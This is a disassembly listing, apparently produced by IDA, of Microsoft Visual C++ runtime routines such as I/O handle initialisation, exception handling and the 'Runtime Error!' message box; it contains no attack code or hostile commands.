loc_41F475: ; CODE XREF: sub_41F2D9+196j inc dword ptr [ecx] jmp loc_41F393 ; --------------------------------------------------------------------------- loc_41F47C: ; CODE XREF: sub_41F2D9+BDj ; sub_41F2D9+D5j test edi, edi jz short loc_41F483 and dword ptr [edi], 0 loc_41F483: ; CODE XREF: sub_41F2D9+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_41F2D9 endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4CDB70 push ebx push ebp mov ebp, dword_42403C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_41F4DB call ebp mov esi, eax cmp esi, ebx jz short loc_41F4BC mov dword_4CDB70, 1 jmp short loc_41F4E4 ; --------------------------------------------------------------------------- loc_41F4BC: ; CODE XREF: ___:0041F4AEj call near ptr 2600B34h nop mov edi, eax cmp edi, ebx jz loc_41F5B6 mov dword_4CDB70, 2 jmp loc_41F56A ; --------------------------------------------------------------------------- loc_41F4DB: ; CODE XREF: ___:0041F4A6j cmp eax, 1 jnz loc_41F565 loc_41F4E4: ; CODE XREF: ___:0041F4BAj cmp esi, ebx jnz short loc_41F4F4 call ebp mov esi, eax cmp esi, ebx jz loc_41F5B6 loc_41F4F4: ; CODE XREF: ___:0041F4E6j cmp [esi], bx mov eax, esi jz short loc_41F509 loc_41F4FB: ; CODE XREF: ___:0041F500j ; ___:0041F507j inc eax inc eax cmp [eax], bx jnz short loc_41F4FB inc eax inc eax cmp [eax], bx jnz short loc_41F4FB loc_41F509: ; CODE XREF: ___:0041F4F9j sub eax, esi mov edi, dword_424150 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_41F55A push ebp call sub_417B89 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_41F55A push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_41F556 push dword ptr [esp+10h] call sub_417C3B pop ecx mov [esp+10h], ebx loc_41F556: ; CODE XREF: ___:0041F546j mov ebx, [esp+10h] loc_41F55A: ; CODE XREF: ___:0041F526j ; ___:0041F535j push esi nop call near ptr 2600E36h mov eax, ebx jmp short loc_41F5B8 ; --------------------------------------------------------------------------- loc_41F565: ; CODE XREF: ___:0041F4DEj cmp eax, 2 jnz short loc_41F5B6 loc_41F56A: ; CODE XREF: ___:0041F4D6j cmp edi, ebx jnz short loc_41F57A call near ptr 2600B34h nop mov edi, eax cmp edi, ebx jz short loc_41F5B6 loc_41F57A: ; CODE XREF: ___:0041F56Cj cmp [edi], bl mov eax, edi jz short loc_41F58A loc_41F580: ; CODE XREF: ___:0041F583j ; ___:0041F588j inc eax cmp [eax], bl jnz short loc_41F580 inc eax cmp [eax], bl jnz short loc_41F580 loc_41F58A: ; CODE XREF: ___:0041F57Ej sub eax, edi inc eax mov ebp, eax push ebp call sub_417B89 mov esi, eax pop ecx cmp esi, ebx jnz short loc_41F5A0 xor esi, esi jmp short loc_41F5AB ; --------------------------------------------------------------------------- loc_41F5A0: ; CODE XREF: ___:0041F59Aj push ebp push edi push esi call sub_417390 add esp, 0Ch loc_41F5AB: ; CODE XREF: ___:0041F59Ej push edi nop call near ptr 2600E80h mov eax, esi jmp short loc_41F5B8 ; --------------------------------------------------------------------------- loc_41F5B6: ; CODE XREF: ___:0041F4C6j ; ___:0041F4EEj ... xor eax, eax loc_41F5B8: ; CODE XREF: ___:0041F563j ; ___:0041F5B4j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_417B89 mov esi, eax pop ecx test esi, esi jnz short loc_41F5DF push 1Bh call sub_419CDA pop ecx loc_41F5DF: ; CODE XREF: ___:0041F5D5j mov dword_4CECE0, esi mov dword_4CEDE0, 20h lea eax, [esi+100h] loc_41F5F5: ; CODE XREF: ___:0041F611j cmp esi, eax jnb short loc_41F613 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4CECE0 add esi, 8 add eax, 100h jmp short loc_41F5F5 ; --------------------------------------------------------------------------- loc_41F613: ; CODE XREF: ___:0041F5F7j lea eax, [esp+10h] push eax nop call near ptr 2830000h cmp word ptr [esp+42h], 0 jz loc_41F6EF mov eax, [esp+44h] test eax, eax jz loc_41F6EF mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_41F649 mov esi, eax loc_41F649: ; CODE XREF: ___:0041F645j cmp dword_4CEDE0, esi jge short loc_41F6A3 mov edi, offset dword_4CECE4 loc_41F656: ; CODE XREF: ___:0041F699j push 100h call sub_417B89 test eax, eax pop ecx jz short loc_41F69D add dword_4CEDE0, 20h mov [edi], eax lea ecx, [eax+100h] loc_41F674: ; CODE XREF: ___:0041F68Ej cmp eax, ecx jnb short loc_41F690 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_41F674 ; --------------------------------------------------------------------------- loc_41F690: ; CODE XREF: ___:0041F676j add edi, 4 cmp dword_4CEDE0, esi jl short loc_41F656 jmp short loc_41F6A3 ; --------------------------------------------------------------------------- loc_41F69D: ; CODE XREF: ___:0041F663j mov esi, dword_4CEDE0 loc_41F6A3: ; CODE XREF: ___:0041F64Fj ; ___:0041F69Bj xor edi, edi test esi, esi jle short loc_41F6EF loc_41F6A9: ; CODE XREF: ___:0041F6EDj mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_41F6E6 mov cl, [ebp+0] test cl, 1 jz short loc_41F6E6 test cl, 8 jnz short loc_41F6C8 push eax nop call near ptr 2600000h test eax, eax jz short loc_41F6E6 loc_41F6C8: ; CODE XREF: ___:0041F6BBj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4CECE0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_41F6E6: ; CODE XREF: ___:0041F6AEj ; ___:0041F6B6j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_41F6A9 loc_41F6EF: ; CODE XREF: ___:0041F624j ; ___:0041F630j ... xor ebx, ebx loc_41F6F1: ; CODE XREF: ___:0041F754j mov eax, dword_4CECE0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_41F74C test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_41F70C push 0FFFFFFF6h pop eax jmp short loc_41F716 ; --------------------------------------------------------------------------- loc_41F70C: ; CODE XREF: ___:0041F705j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_41F716: ; CODE XREF: ___:0041F70Aj push eax call near ptr 260082Fh nop mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41F73B push edi call near ptr 2600000h nop test eax, eax jz short loc_41F73B and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_41F741 loc_41F73B: ; CODE XREF: ___:0041F722j ; ___:0041F72Dj or byte ptr [esi+4], 40h jmp short loc_41F750 ; --------------------------------------------------------------------------- loc_41F741: ; CODE XREF: ___:0041F739j cmp eax, 3 jnz short loc_41F750 or byte ptr [esi+4], 8 jmp short loc_41F750 ; --------------------------------------------------------------------------- loc_41F74C: ; CODE XREF: ___:0041F6FDj or byte ptr [esi+4], 80h loc_41F750: ; CODE XREF: ___:0041F73Fj ; ___:0041F744j ... inc ebx cmp ebx, 3 jl short loc_41F6F1 push dword_4CEDE0 call near ptr 2600A4Ah nop pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F774 proc near ; DATA XREF: sub_41CFF1+Ao ; sub_41D120+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_41F814 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41F7A7: ; CODE XREF: sub_41F774+90j cmp esi, 0FFFFFFFFh jz short loc_41F80D lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_41F7FB push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_41F7FB js short loc_41F806 mov edi, [ebx+8] push ebx call sub_4181A0 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4181E2 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_418276 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_41F7FB: ; CODE XREF: sub_41F774+40j ; sub_41F774+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41F7A7 ; --------------------------------------------------------------------------- loc_41F806: ; CODE XREF: sub_41F774+54j mov eax, 0 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F80D: ; CODE XREF: sub_41F774+36j mov eax, 1 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F814: ; CODE XREF: sub_41F774+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4181E2 add esp, 8 pop ebp mov eax, 1 loc_41F829: ; CODE XREF: sub_41F774+97j ; sub_41F774+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41F774 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_4181E2 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_41F84C proc near ; CODE XREF: sub_419CDA+9p mov eax, dword_4CDA08 cmp eax, 1 jz short loc_41F863 test eax, eax jnz short locret_41F884 cmp dword_433C64, 1 jnz short locret_41F884 loc_41F863: ; CODE XREF: sub_41F84C+8j push 0FCh call sub_41F885 mov eax, dword_4CDB74 pop ecx test eax, eax jz short loc_41F879 call eax loc_41F879: ; CODE XREF: sub_41F84C+29j push 0FFh call sub_41F885 pop ecx locret_41F884: ; CODE XREF: sub_41F84C+Cj ; sub_41F84C+15j retn sub_41F84C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F885 proc near ; CODE XREF: sub_419CDA+12p ; sub_41F84C+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_4362F8 loc_41F898: ; CODE XREF: sub_41F885+20j cmp edx, [eax] jz short loc_41F8A7 add eax, 8 inc ecx cmp eax, offset off_436388 jl short loc_41F898 loc_41F8A7: ; CODE XREF: sub_41F885+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_4362F8[esi] jnz loc_41F9D5 mov eax, dword_4CDA08 cmp eax, 1 jz loc_41F9AF test eax, eax jnz short loc_41F8D8 cmp dword_433C64, 1 jz loc_41F9AF loc_41F8D8: ; CODE XREF: sub_41F885+44j cmp edx, 0FCh jz loc_41F9D5 lea eax, [ebp+var_1A4] push 104h push eax push 0 nop call near ptr 2660000h test eax, eax jnz short loc_41F90F lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_4179C0 pop ecx pop ecx loc_41F90F: ; CODE XREF: sub_41F885+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_417AB0 inc eax pop ecx cmp eax, 3Ch jbe short loc_41F952 lea eax, [ebp+var_1A4] push eax call sub_417AB0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_418C10 add esp, 10h loc_41F952: ; CODE XREF: sub_41F885+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_4179C0 lea eax, [ebp+var_A0] push edi push eax call sub_4179D0 lea eax, [ebp+var_A0] push offset asc_424BA8 ; "\n\n" push eax call sub_4179D0 push off_4362FC[esi] lea eax, [ebp+var_A0] push eax call sub_4179D0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_42105F add esp, 2Ch pop edi jmp short loc_41F9D5 ; --------------------------------------------------------------------------- loc_41F9AF: ; CODE XREF: sub_41F885+3Cj ; sub_41F885+4Dj lea eax, [ebp+arg_0] lea esi, off_4362FC[esi] push 0 push eax push dword ptr [esi] call sub_417AB0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call near ptr 260082Fh nop push eax nop call near ptr 2640000h loc_41F9D5: ; CODE XREF: sub_41F885+2Ej ; sub_41F885+59j ... pop esi leave retn sub_41F885 endp ; =============== S U B R O U T I N E ======================================= sub_41F9D8 proc near ; CODE XREF: sub_419D23+6Cp ; sub_41E248+32p ... arg_0 = dword ptr 4 inc dword_4CDB78 push 1000h call sub_417B89 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_41FA01 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_41FA12 ; --------------------------------------------------------------------------- loc_41FA01: ; CODE XREF: sub_41F9D8+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_41FA12: ; CODE XREF: sub_41F9D8+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41F9D8 endp ; =============== S U B R O U T I N E ======================================= sub_41FA1C proc near ; CODE XREF: sub_419D23+61p ; sub_41A8A2+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4CEDE0 jb short loc_41FA2B xor eax, eax retn ; --------------------------------------------------------------------------- loc_41FA2B: ; CODE XREF: sub_41FA1C+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4CECE0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_41FA1C endp ; =============== S U B R O U T I N E ======================================= sub_41FA42 proc near ; DATA XREF: ___:00426020o mov eax, dword_4CECC0 push esi push 14h test eax, eax pop esi jnz short loc_41FA56 mov eax, 200h jmp short loc_41FA5C ; --------------------------------------------------------------------------- loc_41FA56: ; CODE XREF: sub_41FA42+Bj cmp eax, esi jge short loc_41FA61 mov eax, esi loc_41FA5C: ; CODE XREF: sub_41FA42+12j mov dword_4CECC0, eax loc_41FA61: ; CODE XREF: sub_41FA42+16j push 4 push eax call sub_4210E8 pop ecx mov dword_4CDCB0, eax test eax, eax pop ecx jnz short loc_41FA95 push 4 push esi mov dword_4CECC0, esi call sub_4210E8 pop ecx mov dword_4CDCB0, eax test eax, eax pop ecx jnz short loc_41FA95 push 1Ah call sub_419CDA pop ecx loc_41FA95: ; CODE XREF: sub_41FA42+30j ; sub_41FA42+49j xor ecx, ecx mov eax, offset off_436388 loc_41FA9C: ; CODE XREF: sub_41FA42+6Ej mov edx, dword_4CDCB0 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_436608 jl short loc_41FA9C xor edx, edx mov ecx, offset dword_436398 loc_41FAB9: ; CODE XREF: sub_41FA42+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4CECE0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_41FAD6 test eax, eax jnz short loc_41FAD9 loc_41FAD6: ; CODE XREF: sub_41FA42+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_41FAD9: ; CODE XREF: sub_41FA42+92j add ecx, 20h inc edx cmp ecx, offset dword_4363F8 jl short loc_41FAB9 pop esi retn sub_41FA42 endp ; =============== S U B R O U T I N E ======================================= sub_41FAE7 proc near ; DATA XREF: ___:00426030o ; FUNCTION CHUNK AT 00421199 SIZE 00000058 BYTES call sub_41A82C cmp byte_4CD9F4, 0 jz short locret_41FAFA jmp loc_421199 ; --------------------------------------------------------------------------- locret_41FAFA: ; CODE XREF: sub_41FAE7+Cj retn sub_41FAE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FAFB proc near ; CODE XREF: sub_419E38+2D4p ; sub_419E38+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_41FB07 pop ebp retn ; --------------------------------------------------------------------------- loc_41FB07: ; CODE XREF: sub_41FAFB+8j cmp dword_4CDA48, 0 jnz short loc_41FB22 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_41FB54 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41FB22: ; CODE XREF: sub_41FAFB+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_433E7C push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4CDA58 nop call near ptr 27B0000h test eax, eax jz short loc_41FB54 cmp [ebp+arg_0], 0 jz short loc_41FB61 loc_41FB54: ; CODE XREF: sub_41FAFB+1Ej ; sub_41FAFB+51j mov dword_4CD9B4, 2Ah or eax, 0FFFFFFFFh loc_41FB61: ; CODE XREF: sub_41FAFB+57j pop ebp retn sub_41FAFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FB63 proc near ; CODE XREF: sub_41A642+5Ep ; sub_41EB6C+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424BE8 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4CDB7C xor ebx, ebx cmp eax, ebx jnz short loc_41FBD2 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4248D8 push esi nop call near ptr 25E0766h test eax, eax jz short loc_41FBB0 mov eax, esi jmp short loc_41FBCD ; --------------------------------------------------------------------------- loc_41FBB0: ; CODE XREF: sub_41FB63+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_436EF4 push esi push ebx nop call near ptr 25F0000h test eax, eax jz loc_41FC98 push 2 pop eax loc_41FBCD: ; CODE XREF: sub_41FB63+4Bj mov dword_4CDB7C, eax loc_41FBD2: ; CODE XREF: sub_41FB63+2Fj cmp eax, 2 jnz short loc_41FBFB mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_41FBE3 mov eax, dword_4CDA48 loc_41FBE3: ; CODE XREF: sub_41FB63+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax nop call near ptr 25F0000h jmp loc_41FC9A ; --------------------------------------------------------------------------- loc_41FBFB: ; CODE XREF: sub_41FB63+72j cmp eax, 1 jnz loc_41FC98 cmp [ebp+arg_10], ebx jnz short loc_41FC11 mov eax, dword_4CDA58 mov [ebp+arg_10], eax loc_41FC11: ; CODE XREF: sub_41FB63+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] nop call near ptr 2630000h mov [ebp+var_20], eax cmp eax, ebx jz short loc_41FC98 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_417330 add esp, 0Ch jmp short loc_41FC67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_41FC67: ; CODE XREF: sub_41FB63+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_41FC98 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call near ptr 2630000h nop cmp eax, ebx jz short loc_41FC98 push [ebp+arg_C] push eax push esi push [ebp+arg_0] nop call near ptr 25E0766h jmp short loc_41FC9A ; --------------------------------------------------------------------------- loc_41FC98: ; CODE XREF: sub_41FB63+61j ; sub_41FB63+9Bj ... xor eax, eax loc_41FC9A: ; CODE XREF: sub_41FB63+93j ; sub_41FB63+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41FB63 endp ; =============== S U B R O U T I N E ======================================= sub_41FCAC proc near ; CODE XREF: sub_41FEC6:loc_42003Ep push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4CECE0 loc_41FCBB: ; CODE XREF: sub_41FCAC+48j mov eax, [ecx] test eax, eax jz short loc_41FCF8 lea edx, [eax+100h] loc_41FCC7: ; CODE XREF: sub_41FCAC+28j cmp eax, edx jnb short loc_41FCE7 test byte ptr [eax+4], 1 jz short loc_41FCD6 add eax, 8 jmp short loc_41FCC7 ; --------------------------------------------------------------------------- loc_41FCD6: ; CODE XREF: sub_41FCAC+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41FD3B loc_41FCE7: ; CODE XREF: sub_41FCAC+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4CEDE0 jl short loc_41FCBB jmp short loc_41FD3B ; --------------------------------------------------------------------------- loc_41FCF8: ; CODE XREF: sub_41FCAC+13j mov esi, 100h push esi call sub_417B89 test eax, eax pop ecx jz short loc_41FD3B add dword_4CEDE0, 20h lea ecx, ds:4CECE0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_41FD1E: ; CODE XREF: sub_41FCAC+88j cmp eax, edx jnb short loc_41FD36 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_41FD1E ; --------------------------------------------------------------------------- loc_41FD36: ; CODE XREF: sub_41FCAC+74j shl edi, 5 mov ebx, edi loc_41FD3B: ; CODE XREF: sub_41FCAC+39j ; sub_41FCAC+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_41FCAC endp ; =============== S U B R O U T I N E ======================================= sub_41FD41 proc near ; CODE XREF: sub_41FEC6+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4CEDE0 push edi jnb short loc_41FDA1 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4CECE0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_41FDA1 cmp dword_433C64, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_41FD97 sub eax, 0 jz short loc_41FD8E dec eax jz short loc_41FD89 dec eax jnz short loc_41FD97 push ebx push 0FFFFFFF4h jmp short loc_41FD91 ; --------------------------------------------------------------------------- loc_41FD89: ; CODE XREF: sub_41FD41+3Ej push ebx push 0FFFFFFF5h jmp short loc_41FD91 ; --------------------------------------------------------------------------- loc_41FD8E: ; CODE XREF: sub_41FD41+3Bj push ebx push 0FFFFFFF6h loc_41FD91: ; CODE XREF: sub_41FD41+46j ; sub_41FD41+4Bj nop call near ptr 25E04E3h loc_41FD97: ; CODE XREF: sub_41FD41+36j ; sub_41FD41+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_41FDB5 ; --------------------------------------------------------------------------- loc_41FDA1: ; CODE XREF: sub_41FD41+Cj ; sub_41FD41+28j and dword_4CD9B8, 0 mov dword_4CD9B4, 9 or eax, 0FFFFFFFFh loc_41FDB5: ; CODE XREF: sub_41FD41+5Ej pop edi pop esi retn sub_41FD41 endp ; =============== S U B R O U T I N E ======================================= sub_41FDB8 proc near ; CODE XREF: sub_41A6B7+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4CEDE0 push edi jnb short loc_41FE1B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4CECE0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_41FE1B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41FE1B cmp dword_433C64, 1 jnz short loc_41FE11 xor eax, eax sub ecx, eax jz short loc_41FE08 dec ecx jz short loc_41FE03 dec ecx jnz short loc_41FE11 push eax push 0FFFFFFF4h jmp short loc_41FE0B ; --------------------------------------------------------------------------- loc_41FE03: ; CODE XREF: sub_41FDB8+41j push eax push 0FFFFFFF5h jmp short loc_41FE0B ; --------------------------------------------------------------------------- loc_41FE08: ; CODE XREF: sub_41FDB8+3Ej push eax push 0FFFFFFF6h loc_41FE0B: ; CODE XREF: sub_41FDB8+49j ; sub_41FDB8+4Ej call near ptr 25E04E3h nop loc_41FE11: ; CODE XREF: sub_41FDB8+38j ; sub_41FDB8+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_41FE2F ; --------------------------------------------------------------------------- loc_41FE1B: ; CODE XREF: sub_41FDB8+Cj ; sub_41FDB8+2Aj ... and dword_4CD9B8, 0 mov dword_4CD9B4, 9 or eax, 0FFFFFFFFh loc_41FE2F: ; CODE XREF: sub_41FDB8+61j pop edi pop esi retn sub_41FDB8 endp ; =============== S U B R O U T I N E ======================================= sub_41FE32 proc near ; CODE XREF: sub_41A6B7+32p ; sub_41A6B7+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4CEDE0 jnb short loc_41FE5A mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4CECE0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_41FE5A mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_41FE5A: ; CODE XREF: sub_41FE32+Aj ; sub_41FE32+23j and dword_4CD9B8, 0 mov dword_4CD9B4, 9 or eax, 0FFFFFFFFh retn sub_41FE32 endp ; =============== S U B R O U T I N E ======================================= sub_41FE6F proc near ; CODE XREF: sub_41A795+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4CEDE0 jnb short loc_41FEB8 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4CECE0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_41FEB8 push eax call sub_41FE32 pop ecx push eax nop call near ptr 25E0000h test eax, eax jnz short loc_41FEAD call near ptr 2650B3Dh nop jmp short loc_41FEAF ; --------------------------------------------------------------------------- loc_41FEAD: ; CODE XREF: sub_41FE6F+34j xor eax, eax loc_41FEAF: ; CODE XREF: sub_41FE6F+3Cj test eax, eax jz short locret_41FEC5 mov dword_4CD9B8, eax loc_41FEB8: ; CODE XREF: sub_41FE6F+Aj ; sub_41FE6F+22j mov dword_4CD9B4, 9 or eax, 0FFFFFFFFh locret_41FEC5: ; CODE XREF: sub_41FE6F+42j retn sub_41FE6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEC6 proc near ; CODE XREF: sub_41A96C+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_41FEEC mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_41FEF7 ; --------------------------------------------------------------------------- loc_41FEEC: ; CODE XREF: sub_41FEC6+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_41FEF7: ; CODE XREF: sub_41FEC6+24j mov eax, 8000h test ecx, eax jnz short loc_41FF11 test ch, 40h jnz short loc_41FF0D cmp dword_4CDC88, eax jz short loc_41FF11 loc_41FF0D: ; CODE XREF: sub_41FEC6+3Dj or [ebp+var_1], 80h loc_41FF11: ; CODE XREF: sub_41FEC6+38j ; sub_41FEC6+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_41FF49 dec eax jz short loc_41FF40 dec eax jz short loc_41FF37 loc_41FF22: ; CODE XREF: sub_41FEC6+9Fj ; sub_41FEC6+E8j ... mov dword_4CD9B4, 16h mov dword_4CD9B8, ebx jmp loc_42015C ; --------------------------------------------------------------------------- loc_41FF37: ; CODE XREF: sub_41FEC6+5Aj mov [ebp+var_C], 